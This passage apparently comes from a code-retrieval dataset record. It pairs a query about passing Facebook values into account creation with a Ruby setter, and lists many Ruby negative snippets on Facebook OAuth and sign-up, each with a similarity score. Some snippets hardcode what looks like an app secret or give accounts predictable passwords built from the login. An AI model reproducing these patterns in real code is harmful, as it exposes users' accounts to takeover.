\"<Twilio.Oauth.V1.OauthInstance #{values}>\"\n end", "def password\n open(@credentials_file, 'r').readlines.last.strip if valid_file?(@credentials_file)\n end", "def full_credentials\n basic_credentials.merge(\n 'x_method' => @x_method,\n 'x_version' => @x_version,\n 'x_duplicate_window' => @x_duplicate_window\n )\n end", "def credentials(username, password, digest = false)\n self.username = username\n self.password = password\n self.digest = digest\n end" ]
[ "0.73245674", "0.7155747", "0.6949678", "0.6949678", "0.6879086", "0.67737865", "0.66596544", "0.66596544", "0.66596544", "0.66596544", "0.66596544", "0.6640569", "0.6636422", "0.65998036", "0.65360117", "0.6470783", "0.6372939", "0.6366874", "0.6342539", "0.63272744", "0.6302402", "0.6269103", "0.6261079", "0.623337", "0.623337", "0.62199104", "0.6215313", "0.618616", "0.6175696", "0.6160004", "0.61483544", "0.6147079", "0.61108434", "0.6110725", "0.6101304", "0.6100702", "0.606899", "0.6063423", "0.6029602", "0.6027429", "0.6015463", "0.60117286", "0.60046405", "0.6002171", "0.5994804", "0.59936666", "0.5978421", "0.5978421", "0.59778184", "0.59733766", "0.5961337", "0.594936", "0.59195036", "0.59160995", "0.5905695", "0.58906615", "0.5887059", "0.58825713", "0.58771014", "0.58765876", "0.58765876", "0.58765876", "0.58765876", "0.58765876", "0.58733577", "0.5866705", "0.58658767", "0.58512497", "0.5846871", "0.5828689", "0.58241767", "0.5821148", "0.58113176", "0.5809092", "0.5808309", "0.58072376", "0.57946855", "0.5788484", "0.57866496", "0.5783964", "0.5782209", "0.57804215", "0.5775822", "0.5766717", "0.57641625", "0.5731865", "0.5728066", "0.5726461", "0.57216156", "0.57216156", "0.5720248", "0.57183427", "0.5714376", "0.57104963", "0.57104963", "0.571022", "0.5704744", "0.5700533", "0.5691709", "0.56844014", "0.5680931" ]
0.0
-1
Allow facebook values to be passed in to aid in account creation
def credentials=(value) super values = value.is_a?(Array) ? value : [value] if values.first.is_a?(Hash) hash = values.first.with_indifferent_access self.facebook_name = hash[:facebook_name] self.facebook_username = hash[:facebook_username] hash end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def facebook_account_params\n params.require(:facebook_account).permit(:user_id, :facebook_account_id, :access_token, :picture_url, :email, :first_name, :last_name)\n end", "def fill_fb_credentials\n\n fill_in FB_EMAIL_OR_ID_FIELD,with:FB_USER_ID\n fill_in FB_PASSWORD_FIELD,with:FB_USER_PASSWORD\n\nend", "def prepare_info_for_facebook(oauth_info)\n { uid: oauth_info.uid.to_s,\n token: oauth_info.credentials.token,\n nickname: oauth_info.info.nickname || \"fbuser_#{uid}\",\n name: oauth_info.info.name,\n email: oauth_info.info.email }\n end", "def facebook_profile_params\n [:id, :name, :email, :token, :token_type, :expiration, {:raw => facebook_raw_params} ]\n end", "def set_FacebookID(value)\n set_input(\"FacebookID\", value)\n end", "def set_FacebookID(value)\n set_input(\"FacebookID\", value)\n end", "def facebook(name: T.unsafe(nil), email: T.unsafe(nil), username: T.unsafe(nil), uid: T.unsafe(nil)); end", "def create_from_fb\n fb_user = FbGraph::User.fetch(\n \"me?fields=first_name,last_name,\"\\\n \"gender,email,birthday\",\n :access_token => params[:access_token])\n\n @user = User.add_from_fb(fb_user,@source)\n end", "def create\n client = Facebook.auth(callback_facebook_url).client\n client.authorization_code = params[:code]\n access_token = client.access_token!\n user = FbGraph::User.me(access_token).fetch\n authenticate Facebook.identify(user)\n# redirect_to dashboard_url\n redirect_to root_url\n end", "def create\n client = Facebook.auth(callback_facebook_url).client\n client.authorization_code = params[:code]\n access_token = client.access_token! :client_auth_body\n user = FbGraph::User.me(access_token).fetch\n authenticate Facebook.identify(user)\n redirect_to dashboard_url\n end", "def signup_with_facebook\n @status, @msg, @data = UserValidator.signup_with_facebook(params)\n @status, @msg, @data = UserManager.signup_with_facebook(params) if @status\n end", "def save\n Account.create!(account_params.map do |data|\n {\n type: :facebook,\n user: current_user,\n name: data[:name],\n data: data\n }\n end)\n\n render json: success\n end", "def social_account_params\n params.require(:social_account).permit(:creator_id, :channel_id, :channel_name, :channel_value,:nickname,:fans,:readers,:praises,:comments)\n end", "def social_account_params\r\n params.require(:social_account).permit(:title, :body, :login, :receiver, :password, :action, :email)\r\n end", "def user_params\n\t\tparams.permit(:facebook_id, :email, :password, :password_confirmation, :role, :first_name, :last_name, :gender, :age)\n\tend", "def social_account_params\n params.require(:social_account).permit(:user_id, :social_platform_id)\n end", "def set_facebook_account\n @facebook_account = FacebookAccount.find(params[:id])\n end", "def user_params\n params.permit(:username, :facebook_connection, :apn_token)\n end", "def create\n client = FacebookAccount.auth(callback_prive_options_facebook_url).client\n client.authorization_code = params[:code]\n access_token = client.access_token!\n user = FbGraph::User.me(access_token).fetch\n FacebookAccount.identify(user, @salon.id)\n redirect_to prive_options_facebooks_path, :notice => \"La page facebook est liée au compte\"\n end", "def apply_facebook(omniauth)\n if (extra = omniauth['extra']['user_hash'] rescue false)\n self.email = (extra['email'] rescue '')\n end\nend", "def facebook\n\n end", "def create\n @facebook_url = FacebookUrl\n p 'fb url'\n puts @facebook_url\n token_info = FacebookAuth.get_user_info_from_cookies(cookies)\n puts \"cookies: #{cookies.inspect}\"\n if (token_info)\n p 'cookie token'\n @user = User.add_facebook(token_info)\n redirect_to :action => 'show', :id => @user.id\n elsif (params[:code]) \n p 'params[:code]'\n token_info = FacebookAuth.get_access_token_info(params[:code])\n @user = User.add_facebook(token_info)\n redirect_to :action => 'show', :id => @user.id\n else\n p 'redirecting to fb'\n render :layout => false, :inline => \"<html><head>\\n<script type=\\\"text/javascript\\\">\\nwindow.top.location.href = '<%=raw(@facebook_url) %>';\\n</script>\\n\"\n #https://graph.facebook.com/oauth/authorize?client_id=163086873741036&redirect_uri=http://apps.facebook.com/friends_mapper/&scope=user_location,friends_location,publish_stream\n end\n \n end", "def create\n #Create user instance\n @user = User.new(params[:user])\n @user.fb_uid = facebook_user.uid if facebook_user \n if @user.save\n \n #flash[:notice] = sprintf(t(:user_created_confirmation_sent), @user.name,@user.email) unless facebook_user\n flash_notice(:user_created_confirmation_sent, @user.full_name,@user.email) unless facebook_user\n \n create_session(@user) if facebook_user\n redirect_to_last_page\n else\n render :action => \"new\"\n end\n end", "def fbuser_params\n params.require(:user).permit(:fb_id, :name, :email, :photo, :fb_info)\n end", "def facebook_user_data(data)\n raise \"SHOULD BE IMPLEMENT NEW USER DATA\"\n end", "def associate_with_social_account(social_params, social_image_cookie, social_bio_cookie)\n if social_params[\"provider\"].blank? || social_params[\"uid\"].blank?\n Airbrake.notify(:error_class => \"Logged Error\", :error_message => \"SOCIAL CREDENTIALS: The social credentials for #{self.id} did not get passed in from the sign up form. This is what we received: Provider = #{social_params[\"provider\"]} ; UID = #{social_params[\"uid\"]}\") if Rails.env.production?\n else\n # create a new social network record for storing their auth data in\n new_network ||= self.social_networks.new(:provider => social_params[\"provider\"].strip.downcase, :uid => social_params[\"uid\"].strip.downcase, :token => social_params[\"oauth_token\"], :token_secret => social_params[\"oauth_token_secret\"])\n if !new_network.save\n Airbrake.notify(:error_class => \"Logged Error\", :error_message => \"SOCIAL CREDENTIALS: Error creating social credentials for #{self.id} with these params: Provider = #{social_params[\"provider\"]} ; UID = #{social_params[\"uid\"]}\") if Rails.env.production?\n end\n end\n \n # upload their image\n begin\n self.set_new_user_image(nil, social_image_cookie, false, true)\n rescue\n Airbrake.notify(:error_class => \"Logged Error\", :error_message => \"PROFILE IMAGE: Error SAVING image from a social signup for #{self.email}. The image was #{social_image_cookie}\") if Rails.env.production?\n end\n \n # set their bio \n self.profile.update_attribute('bio', truncate(social_bio_cookie, :length => 140, :omission => '...')) \n end", "def register_user_to_fb\n\t #users = {:email => email, :account_id => id}\n\t #Facebooker::User.register([users])\n\t #self.email_hash = Facebooker::User.hash_email(email)\n\t #save(false)\n\tend", "def apply_facebook(omniauth)\n if (info = omniauth['info'] rescue false)\n self.email = (info['email'] rescue '')\n end\n end", "def create\n auth = request.env[\"omniauth.auth\"] \n user = User.find_by_fb_id(auth[\"uid\"]) || User.create_with_omniauth(auth) \n #for those update from feeds\n if user.access_token.empty?\n user.access_token = auth[\"credentials\"][\"token\"]\n user.save\n end\n redirect_to FB_APP_URL \n end", "def social_account_params\n params.require(:social_account).permit(:title, :body)\n end", "def facebook\n end", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def user_params\n params.require(:user).permit(:name, :email, :password, :description, :facebook_user_id)\n end", "def facebook_create\n @new_user = User.find_or_create_by(uid: auth['uid']) do |u|\n u.name = auth['info']['name']\n u.email = auth['info']['email']\n u.image = auth['info']['image']\n u.password = User.generic_password\n end\n @new_user.save\n session[:user_id] = @new_user.id \n redirect_to home_path(@new_user)\n end", "def socialParams\n params.permit( :name , :link)\n end", "def signup_facebook_user\n @user = Spree::User.new(user_params_list)\n @user.facebook_token = session[:fb_token]\n\n @user.addresses.first.country_id = 503\n\n if @user.save\n session\n signin_vegan_user(@user.id)\n else\n render 'complete_signup'\n end\n end", "def before_connect(fb_session)\n begin\n # Get user info and store in session.\n fb_session.user.populate\n logger.debug \"FACEBOOK SESSION: #{pp fb_session.user}\"\n \n # == Account details.\n self.facebook_proxy_email = fb_session.user.try(:proxied_email)\n self.login = fb_session.user.try(:username) # not supported by Facebooker right now\n self.locale = fb_session.user.try(:locale) # or nil\n self.format_locale\n # \"Stockholm\" => \"(GMT+01:00) Stockholm\", \"Never-Never-land\" => \"(GMT+00:00) UTC\"\n self.time_zone = fb_session.user.try(:current_location).try(:city)\n self.country = fb_session.user.try(:current_location).try(:country) # or nil\n \n # == Account profile details.\n profile_hash = {}\n profile_hash[:real_name] = fb_session.user.try(:name)\n # Based on locale =P\n profile_hash[:gender] = fb_parse_gender(fb_session.user.try(:sex))\n \n # == Examples:\n # profile_hash[:about_me] = facebook_session.user.try(:profile_blurb)\n # profile_hash[:birthdate] = facebook_session.user.try(:birthday_date).try(:to_date)\n # profile_hash[:birthdate] ||= facebook_session.user.try(:birthday).try(:to_date)\n \n self.profile ||= Profile.create(profile_hash)\n rescue Facebooker::Session::SessionExpired, ActionController::InvalidAuthenticityToken\n # proceed\n ensure\n self.confirmed_at = Time.now # Activate account - no e-mail confirmation for FBC-accounts.\n self.format_locale\n end\n end", "def create_with_facebook\n auth_hash = request.env['omniauth.auth']\n authorization = Authorization.find_by_provider_and_uid(auth_hash['provider'], auth_hash['uid'])\n name = auth_hash['info']['name'].split\n email = auth_hash['info']['email']\n first, last = name[0], name[1..-1].join(' ')\n user = User.find_by_first_name_and_last_name_and_email(first, last, email)\n\n # when both a user and an authorization have been found\n if authorization && user\n user.oauth_token = auth_hash['credentials']['token']\n user.save\n authorization.update_attribute 'user', user\n sessionize authorization.user\n\n # if only a user exists, build an authorization\n elsif user\n user.authorizations.build :provider => auth_hash['provider'], :uid => auth_hash['uid']\n sessionize user\n\n # No user or authorization; build them\n else\n user = User.new(:first_name => first, :last_name => last, :email => email)\n user.authorizations.build :provider => auth_hash['provider'], :uid => auth_hash['uid']\n user.save\n sessionize user\n end\n\n redirect_to root_path\n end", "def social_params\n params.require(:user).permit(:facebook, :instagram)\n end", "def before_create_user\n logger.debug(\"on before creare user\")\n #Generate a unique key\n if facebook_user?\n self.active = 1 \n else\n activation_key_string = self.salt+self.email+self.hashed_password\n self.activation_key =Digest::SHA1.hexdigest(activation_key_string)\n self.active = 0\n end\n self.admin = 0 \n self.handle=generate_unique_handle\n \n end", "def createF\r\n user = User.omniauth(env['omniauth.auth'])\r\n session[:user_id] = user.id\r\n Action.create(info: current_user.username + ' has logged in using facebook.', user_email: current_user.email)\r\n redirect_to user\r\n end", "def facebook_callback\n user_data = parse_facebook_user_data\n token = sign_user_token(user_data[\"email\"],\"facebook\")\n\n user = User.find_by_token(token)\n if user\n set_current_user(user)\n else\n user = User.new(:email => user_data[\"email\"],\n :nick => user_data[\"first_name\"],\n :token => token)\n user.save!\n\n set_current_user(user)\n end\n redirect_to :controller => \"sales_management\",\n :action => \"index\",\n :user_id => user.id\n end", "def get_fb_params\n\t\"user_photos,email\"\nend", "def new_facebook_signup\n \n @fb_data = fetch_facebook_params\n\n @user = Spree::User.where(email: @fb_data[:email]).first\n\n if @user.blank?\n @user = Spree::User.new(email: @fb_data[:email], facebook_token: @fb_data[:fb_token])\n \n @user.addresses.build\n @user.addresses.first.firstname = @fb_data[:firstname]\n @user.addresses.first.lastname = @fb_data[:lastname]\n\n\n else\n @user.update_attributes(facebook_token: @fb_data[:fb_token]) if @user.facebook_token != @fb_data[:fb_token] #update the token if @user_founds token is not same as the @fb_token\n sign_in(:spree_user, @user)\n redirect_to main_app.profile_users_path\n end\n\n end", "def account_params\n params.require(:account).permit(:domain, :logo, :admin_user, :user_id, :background_portal, :background_stream, :name, :chat, :facebook, :twitter,:requisitos, :instagram, :linkedin,:has_psw, :psw, :has_networks, :download_docs, :questions, :color_one, :color_two, :color_three)\n end", "def set_facebook_info omni\n info = omni['info']\n self.email = info['email']\n self.first_name = info['first_name']\n self.last_name = info['last_name']\n\n # Get the large size image. Omniauth returns 'square' by default and thats\n # too small to use.\n if info['image'].present?\n self.remote_profile_image_url = info['image'].gsub(\"square\", \"large\")\n end\n end", "def before_connect(facebook_session)\n self.login = facebook_session.user.name\n self.facebook_name = facebook_session.user.name\n self.password = \"5uttr33_#{self.login}\"\n self.signup_source = 'facebook'\n end", "def create\n auth = request.env[\"omniauth.auth\"]\n user = User.find_by_provider_and_uid(auth[\"provider\"], auth[\"uid\"]) || User.create_with_omniauth(auth)\n User.update(user.id, :fb_nickname => auth[\"info\"][\"nickname\"])\n session[:user_id] = user.id\n redirect_to root_url\n end", "def authenticate(fb_user)\n \n \n end", "def register_by_facebook_account(fb_session, fb_uid)\n api = FacebookGraphApi.new(fb_session.auth_token, fb_uid)\n user_attributes = api.find_user(fb_uid)\n email = user_attributes['email'] || 'FAKE'\n name = user_attributes['name'] || ''\n\n if !email.blank? && !name.blank?\n existing_user = User.find_by_email(email)\n existing_user = User.find_by_facebook_uid(fb_uid) if existing_user.nil?\n\n if existing_user\n existing_user.facebook_uid = fb_uid\n existing_user.facebook_sid = fb_session.auth_token\n existing_user.facebook_connect_enabled = true\n existing_user.save(false)\n\n existing_user.update_attribute(:state, 'active')\n existing_user\n else\n attributes = {\n :login => find_or_build_unique_user_name(name),\n :name => name,\n :email => find_or_build_unique_fake_email(email),\n :facebook_uid => fb_uid,\n :facebook_sid => fb_session.session_key,\n :activated_at => Time.now,\n :state => 'active',\n :facebook_connect_enabled => true\n }\n\n user = User.new(attributes)\n user.save(false)\n\n user.update_attribute(:state, 'activate')\n user\n end\n else\n # Do something else let's log him out from facebook\n raise 'Durrr! you are one of those unlucky person for whom we haven\\'t fixed this bug!\n please let me know that i told you this crap!' + \" data - #{user_attributes.inspect}\"\n end\n end", "def update_fb_auth(account_selected_name)\n auth = Auth.find_by(key: 'facebook', name: account_selected_name)\n if auth.nil?\n Auth.create(\n key: 'facebook',\n name: account_selected_name,\n value: params[model_name][:fb_page_access_key]\n )\n else\n #only support 1 fb account\n auth.update_attribute(:value, params[model_name][:fb_page_access_key])\n end\n end", "def before_connect(facebook_session)\n self.login = 'facebook_' + facebook_session.user.name\n self.facebook_name = facebook_session.user.name\n self.password = \"5uttr33_#{self.login}\"\n self.signup_source = 'facebook'\n end", "def create_fb\n if current_facebook_user\n current_facebook_user.fetch\n if logged_in_member\n logged_in_member.update_attribute(:fb_user_id, current_facebook_user.id)\n redirect_to logged_in_member\n else\n @member = Member.find_or_initialize_with_facebook(current_facebook_user)\n conference_delegate = ConferenceDelegate.find_by_signature(params[:signature]) if !params[:signature].blank?\n if @member.new_record?\n @member.conference_delegate = conference_delegate\n @member.auth_service = 'Facebook'\n render :template => \"sessions/register_email\"\n else\n if conference_delegate && conference_delegate.member.nil? && @member.conference_delegate.nil?\n conference_delegate.update_attribute(:member, @member)\n end\n login_member!(@member)\n end\n end\n else\n redirect_to new_session_path\n end\n end", "def facebooklink_params\n params.require(:facebooklink).permit(:name, :url)\n end", "def facebook_callback\n hash = request.env[\"omniauth.auth\"]\n if hash\n email = hash[\"info\"][\"email\"]\n username = hash[\"info\"][\"nickname\"]\n gender = hash[\"extra\"][\"raw_info\"][\"gender\"]\n provider = hash[\"provider\"]\n gid = hash[\"uid\"]\n token = hash[\"credentials\"][\"token\"]\n auth = Authentication.find_by_provider_and_gid(provider, gid)\n if !gamer_signed_in?\n if auth\n if auth.gamer\n flash[:success] = t(:signed_in_fb)\n sign_in_and_redirect(:gamer, auth.gamer)\n else\n flash[:error] = t(:no_account)\n redirect_to \"/gamers/sign_up\"\n end\n else\n gamer = Gamer.find_by_email(email)\n if gamer\n Authentication.create_with_omniauth(provider, gid,\n token, nil, email, gamer.id)\n flash[:success] = t(:signed_in_fb)\n sign_in_and_redirect(:gamer, gamer)\n else\n session[\"devise.token\"] = token\n session[\"devise.gid\"] = gid\n session[\"devise.token_secret\"] = nil\n flash[:info] = t(:continue_reg_fb)\n redirect_to controller: \"social_registrations\",\n action: \"new_social\", email: email, username: username,\n gender: gender, provider: provider\n end\n end\n else\n if !auth\n Authentication.create_with_omniauth(provider,gid,\n token, nil, email, current_gamer.id)\n flash[:success] = t(:logged_in_to_fb)\n redirect_to \"/gamers/edit\"\n else\n Authentication.update_token(current_gamer.id, provider, token)\n redirect_to \"/games/post_facebook\"\n end\n end\n else\n flash[:error] = t(:oops_error_fb)\n redirect_to root_url\n end\n end", "def create_account\n\n end", "def create\n @default_facebook = DefaultFacebook.new(params[:default_facebook])\n @default_facebook.user_id = current_user.id\n\n respond_to do |format|\n if @default_facebook.save\n format.html { redirect_to @default_facebook, notice: 'Default facebook was successfully created.' }\n format.json { render json: @default_facebook, status: :created, location: @default_facebook }\n else\n format.html { render action: \"new\" }\n format.json { render json: @default_facebook.errors, status: :unprocessable_entity }\n end\n end\n end", "def register_user_to_fb(force = false)\n if force || changed.include?('username') || changed.include?('facebook_username')\n email = facebook_username.present? ? facebook_username : username\n users = {:email => email, :account_id => id}\n ::Facebooker::User.register([users]) unless Rails.env.test?\n self.facebook_hash = ::Facebooker::User.hash_email(email)\n end\n end", "def create_from_oauth\n if stored_anonymous_user?\n user, from_registration = update_from_omniauth(env[\"omniauth.auth\"], params[:provider])\n else\n user, from_registration = create_from_omniauth(env[\"omniauth.auth\"], params[:provider])\n end\n\n if user.errors.any?\n redirect_to_registration_page(user)\n else\n change_global_user_id(user.id)\n sign_in(user)\n fandom_play_login(user)\n \n if from_registration\n log_data = { 'form_data' => env[\"omniauth.auth\"], 'user_id' => current_user.id }\n log_synced(\"registration from oauth\", adjust_user_and_log_data_with_utm(user, log_data))\n\n set_account_up()\n cookies[:from_registration] = true \n end\n\n if $site.force_facebook_tab && !request_is_from_mobile_device?(request)\n redirect_to request.site.force_facebook_tab\n else\n redirect_after_oauth_successful_login()\n end\n end\n end", "def facebook_id=(uid)\n self.uid = uid\n end", "def facebook_raw_params\n [ :name, :id ]\n end", "def facebook_oauth\n # Insert your own Facebook client ID and secret here\n # auth = Koala::Facebook::OAuth.new(ENV[\"FACEBOOK_KEY\"], ENV[\"FACEBOOK_SECRET\"])\n\n @facebook_oauth = Koala::Facebook::OAuth.new(ENV[\"FACEBOOK_KEY\"], ENV[\"FACEBOOK_SECRET\"])\n\n\n\n end", "def facebook_ad_params\n params.require(:facebook_ad).permit(\n :campaign_name,\n :objective,\n :audience_location,\n :audience_group,\n :gender_preference,\n :detail,\n :total_budget,\n :start_on,\n :finish_on,\n :url,\n :headline,\n :best_pitch,\n :page_id,\n :image,\n )\n end", "def oauth_account_params\n params.require(:oauth_account).permit(:email, :telephone, :password)\n end", "def facebook_url; \"https://facebook.com/#{facebook}\" end", "def create_from_oauth oauth\n create(\n email: oauth.email.downcase,\n display_name: oauth.display_name\n )\n end", "def user_params\n params.require(:user).permit(:fb_id, :first_name, :last_name, :score)\n end", "def create\n @facebook_ad = FacebookAd.new(facebook_ad_params)\n @facebook_ad.facebook_connected_account = @facebook_connected_account\n\n respond_to do |format|\n if @facebook_ad.save\n format.html { redirect_to @facebook_ad, notice: 'Facebook ad was successfully created.' }\n format.json { render :show, status: :created, location: @facebook_ad }\n else\n format.html { render :new }\n format.json { render json: @facebook_ad.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_account_for_user\n # # if age.exists?\n # balance = age >= 18 ? 350 : 250\n # create_account(balance: balance)\n # # end\n create_account(balance: 250)\n end", "def create\n\t\tauth = request.env[\"omniauth.auth\"] #when press the link fb_login, response that is received from callback is stored in auth var\n\t\tsession[:omniauth] = auth.except('extra') #session var with info from response, except extra- info that we dont need\n\t\tcurrent_user = User.sign_in_from_omniauth(auth)\n\t\tsession[:user_id] = current_user.id\n\t\tredirect_to root_url, flash: { notice: \"#{current_user.name}, welcome to Like Machine.\"}\n\tend", "def facebook\n handle_auth \"facebook\"\n end", "def new\n \n fb_auth = FbGraph::Auth.new('155275974530339', '309d340d359061c890906926e8139e4a')\n fb_auth.client # => Rack::OAuth2::Client\n \n client = fb_auth.client\n client.redirect_uri = \"http://localhost:3000/config_keys\"\n\n # redirect user to facebook\n redirect_to client.authorization_uri(\n :scope => [:email, :read_stream, :offline_access]\n )\n\n # in callback\n client.authorization_code = params[:code]\n access_token = client.access_token! # => Rack::OAuth2::AccessToken\n FbGraph::User.me(access_token).fetch # => FbGraph::User\n \n end", "def user_params\n params.require(:user).permit(:token, :provider, :refreshToken, {:profile => facebook_profile_params})\n end", "def new_with_session(params, session)\n super.tap do |user|\n if (data = session['devise.facebook_data']) && session['devise.facebook_data']['extra']['raw_info']\n user.email = params[:email]\n user.alias = params[:alias]\n user.fb_userid = data['id']\n generated_password = Devise.friendly_token.first(10)\n user.password = generated_password\n user.password_confirmation = generated_password\n user.skip_confirmation!\n end\n end\n end", "def account_params\n params.fetch(:account, {}).permit(:email, :first_name, :last_name, :business_name, :phone, :gatorlink_id, :ufid, :chartfield, :affiliation, :account_type, :expires_at, :uf_college, :credit)\n end", "def fb_auth\n session[:sign_up_reason] = nil\n\n if params[:return_to]\n set_after_sign_in_location(params[:return_to])\n elsif params[:spree_user_return_to]\n set_after_sign_in_location(params[:spree_user_return_to])\n elsif is_user_came_from_current_app\n set_after_sign_in_location(request.referrer)\n end\n\n if params[:redeem_via_fb_state]\n session[:redeem_via_fb_state] = params[:redeem_via_fb_state]\n end\n\n if params[:new_modal_fb_state]\n session[:new_modal_fb_state] = params[:new_modal_fb_state]\n end\n\n if params[:show_promocode_modal]\n session[:show_promocode_modal] = params[:show_promocode_modal]\n # reset current modal popup\n set_after_sign_in_location(root_path)\n end\n\n session[:auto_apply] = params[:auto_apply] if params.key?(:auto_apply)\n session[:auto_apply_promo] = params[:auto_apply_promo] if params.key?(:auto_apply_promo)\n\n # Capture PLEASE REMIND ME ABOUT MY SALE events to push onto customer.io later.\n session[:email_reminder_promo] = params[:email_reminder_promo] if params.key?(:email_reminder_promo)\n\n\n redirect_to spree.spree_user_omniauth_authorize_url(provider: :facebook, scope: 'email,public_profile,user_friends')\n end", "def register_user_to_fb\n users = {:email => email, :account_id => id}\n Facebooker::User.register([users])\n self.email_hash = Facebooker::User.hash_email(email)\n end", "def facebook_username_field(value=nil)\n rw_config(:facebook_username_field, value, :facebook_username)\n end", "def facebook_page_params\n params.require(:facebook_page).permit(:facebook_page_id, :access_token, :created_dt)\n end", "def new_user user_or_page_data\n Services::Facebook::User.new do |user|\n # Facebook casts some IDs as strings and others as integers, but in the interest of being consistent and\n # future-proof we'll cast them all to strings.\n user.id = (user_or_page_data[:uid] || user_or_page_data[:page_id]).to_s\n user.name = user_or_page_data[:name]\n end\n end", "def sign_up_users(first_name, last_name, email, password)\n find_by_id('com.yelp.android:id/first_name').send_key first_name\n find_by_id('com.yelp.android:id/last_name').send_key last_name\n find_by_id('com.yelp.android:id/email_address').send_key email\n find_by_id('com.yelp.android:id/password').send_key password\n find_name('Gender')\n find_name('Male')\n end", "def account_params\n params.require(:account).permit(:account_id, :steamid, :profilestate, :personaname, :lastlogoff, :profileurl, :avatar, :avatarmedium, :avatarfull, :personastate, :primaryclanid, :timecreated, :personastateflags, :gameextrainfo, :gameid, :loccountrycode, :locstatecode, :last_check)\n end", "def apply_omniauth(omniauth)\n #add some info about the user\n self.login ||= omniauth['user_info']['nickname']\n self.picture_url = omniauth['user_info']['image']\n self.email ||= omniauth['user_info']['email']\n #self.nickname = omniauth['user_info']['nickname'] if nickname.blank?\n \n # unless omniauth['credentials'].blank?\n # user_tokens.build(:provider => omniauth['provider'], :uid => omniauth['uid'])\n # else\n user_tokens.build(:provider => omniauth['provider'], :uid => omniauth['uid'], \n :token => omniauth['credentials']['token'], :token_secret => omniauth['credentials']['secret'])\n # end\n #self.confirm!# unless user.email.blank?\n end", "def create_from_fb_connect(fb_user, username)\n u = ::User.find(:first, :conditions => {_(:username) => username} )\n if u\n u.facebook_hash = fb_user.email_hashes.first\n u.fb_user_id = fb_user.uid\n else\n u = ::User.create(_(:username) => username || fb_user.email_hashes.first, _(:last_login) => Time.now.utc, _(:fb_user_id) => fb_user.uid, _(:facebook_hash) => fb_user.email_hashes.first)\n end\n u.create_person_from_fb(fb_user) unless u.person\n u.save(false)\n u\n end", "def register_user_to_fb\n users = {:email => email, :account_id => id}\n Facebooker::User.register([users])\n self.email_hash = Facebooker::User.hash_email(email)\n save(false)\n end", "def register_user_to_fb\n users = {:email => email, :account_id => id}\n Facebooker::User.register([users])\n self.email_hash = Facebooker::User.hash_email(email)\n save(false)\n end", "def fetch_facebook_params\n\n @fb_details = request.env['omniauth.auth']\n redirect_to main_app.root_path if @fb_details.nil?\n\n @fb_data = Hash.new\n @fb_data[:email] = @fb_details[:info][:email]\n @fb_data[:firstname] = @fb_details[:info][:first_name]\n @fb_data[:lastname] = @fb_details[:info][:last_name]\n @fb_data[:fb_token] = @fb_details[:credentials][:token]\n @fb_data[:image] = @fb_details[:info][:image].concat(\"?type=#{SIZE}\")\n\n return @fb_data\n end", "def facebook\n social_login(request.env['omniauth.auth'], current_user,\"Facebook\")\n end", "def facebook_url\n facebook_id.blank? ? \"\" : \"http://facebook.com/\" + facebook_id\n end", "def auth_params\n params = ActionController::Parameters.new(env[\"omniauth.auth\"])\n Hashie::Mash.new params.permit(:uid, :provider, info: [:name, :email])\n end", "def register_user_to_fb\n users = {:email => email, :account_id => id}\n Facebooker::User.register([users])\n self.send(\"#{fb_email_hash_name}=\", Facebooker::User.hash_email(email))\n save(false)\n end", "def create_account\n set_user\n set_payer\n set_user_sport\n save_account\n end", "def create\n @user = User.find_by_uid(params[:uid])\n\n if (@user.nil?)\n @user = User.new\n @user['uid'] = params[:uid]\n @user['provider'] = 'facebook'\n @user['name'] = params[:name]\n\n @user.save\n end\n\n if (Invite.find_by_plan_id_and_user_id(params[:plan_id], @user.id).nil?)\n\n @invite = Invite.new(params[:invite])\n @invite.plan = Plan.find(params[:plan_id])\n\n @invite.user = @user\n\n @invite.save\n\n end\n\n end", "def fetch_facebook_params\n\n @fb_details = request.env['omniauth.auth']\n redirect_to main_app.root_path if @fb_details.nil?\n\n session[:email] = @fb_details[:info][:email]\n session[:firstname] = @fb_details[:info][:first_name]\n session[:lastname] = @fb_details[:info][:last_name]\n session[:fb_token] = @fb_details[:credentials][:token]\n\n end", "def facebook\n handle_oauth\n end", "def set_AccountName(value)\n set_input(\"AccountName\", value)\n end", "def set_AccountName(value)\n set_input(\"AccountName\", value)\n end", "def facebookad_params\n params[:facebookad][:resultsywant] = params[:facebookad][:resultsywant].join(',')\n params.require(:facebookad).permit(:resultsywant, :budget, :name, :email, :phonenumber)\n end", "def register_user_to_fb\n users = {:email => email, :account_id => id}\n r = Facebooker::User.register([users])\n self.email_hash = Facebooker::User.hash_email(email)\n save(false)\n end", "def create_fb_url_with_creds(indv_u_id, ac_token, decoded_state: nil)\n url = FACEBOOK_URL + \"?individual_user_id=#{indv_u_id}&secret=#{ac_token}\"\n if decoded_state\n url += \"pathway=#{decoded_state['pathway']}\" +\n \"&gift_template_id=#{decoded_state['gift_template_id']}\" \n end\n \n #Creates facebook oauth dialog url\n #--PE 10/30/14\n def create_oauth_url(cb_url, encoded_auth_state)\n oauth_url = \"https://www.facebook.com/dialog/oauth/?client_id=\" +\n \"#{APP_ID}&redirect_uri=#{cb_url}&state=#{encoded_auth_state}\"\n end\n\n #########\n protected\n ######### \n\n #Renew the access_token after API failure --PE July 17, 2012\n def rescue_api_error\n session.delete(:access_token)\n\t session.delete(:individual_user_id)\n\t oauth = Koala::Facebook::OAuth.new(APP_ID, APP_SECRET, AUTH_CALLBACK)\n\t redirect_to(:action => \"exit_portal\", :url => oauth.url_for_oauth_code)\n end\n\n #Redirect to app index page after connection is reset --PE July 23, 2012\n def rescue_connection_reset\n redirect_to(:action => \"index\")\n flash[:notice] = \"Sorry, something went wrong (connection reset). \" +\n \"Please try again.\"\n end\n\n #Redirect to app index page after undefined method errors --PE July 23, 2012\n def rescue_undefined_method\n redirect_to(:action => \"index\")\n flash[:notice] = \"Sorry, something went wrong (undefined method). \" +\n \"Please try again.\"\n end\nend", "def add_profile_parameters(parameters, profile)\n profileid, acctid = profile.split('/')\n parameters[:profileid] = profileid\n parameters[:acctid] = acctid\n end" ]
